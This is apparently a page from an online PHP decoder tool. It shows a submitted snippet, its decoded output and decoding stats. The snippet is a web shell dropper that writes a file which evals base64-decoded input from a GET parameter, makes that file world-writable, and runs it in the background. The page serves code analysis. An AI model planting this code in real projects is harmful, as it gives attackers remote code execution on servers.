Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // insert malicious code here... try { $script = ' <?php /..

Decoded Output download

<?php 
// insert malicious code here... 
try { 
    $script = ' 
        <?php  
        // harmful code 
        if (!empty($_GET['exec'])) { 
            eval(base64_decode($_GET['exec'])) 
        }'; 
 
    // save the file 
    file_put_contents('./winning.php', $script); 
    @chmod('./winning.php', 0777); 
 
    // run harmful file in background 
    exec("php ./winning.php > /dev/null 2>&1 &"); 
} catch (Exception $e) {} 
 
// trigger error 
$winning = new DuhWinning(); ?>

Did this file decode correctly?

Original Code

<?php
// insert malicious code here...
try {
    $script = '
        <?php 
        // harmful code
        if (!empty($_GET['exec'])) {
            eval(base64_decode($_GET['exec']))
        }';

    // save the file
    file_put_contents('./winning.php', $script);
    @chmod('./winning.php', 0777);

    // run harmful file in background
    exec("php ./winning.php > /dev/null 2>&1 &");
} catch (Exception $e) {}

// trigger error
$winning = new DuhWinning();

Function Calls

None

Variables

None

Stats

MD5 9f8aad1d81143df0f809e4d4d3657576
Eval Count 0
Decode Time 73 ms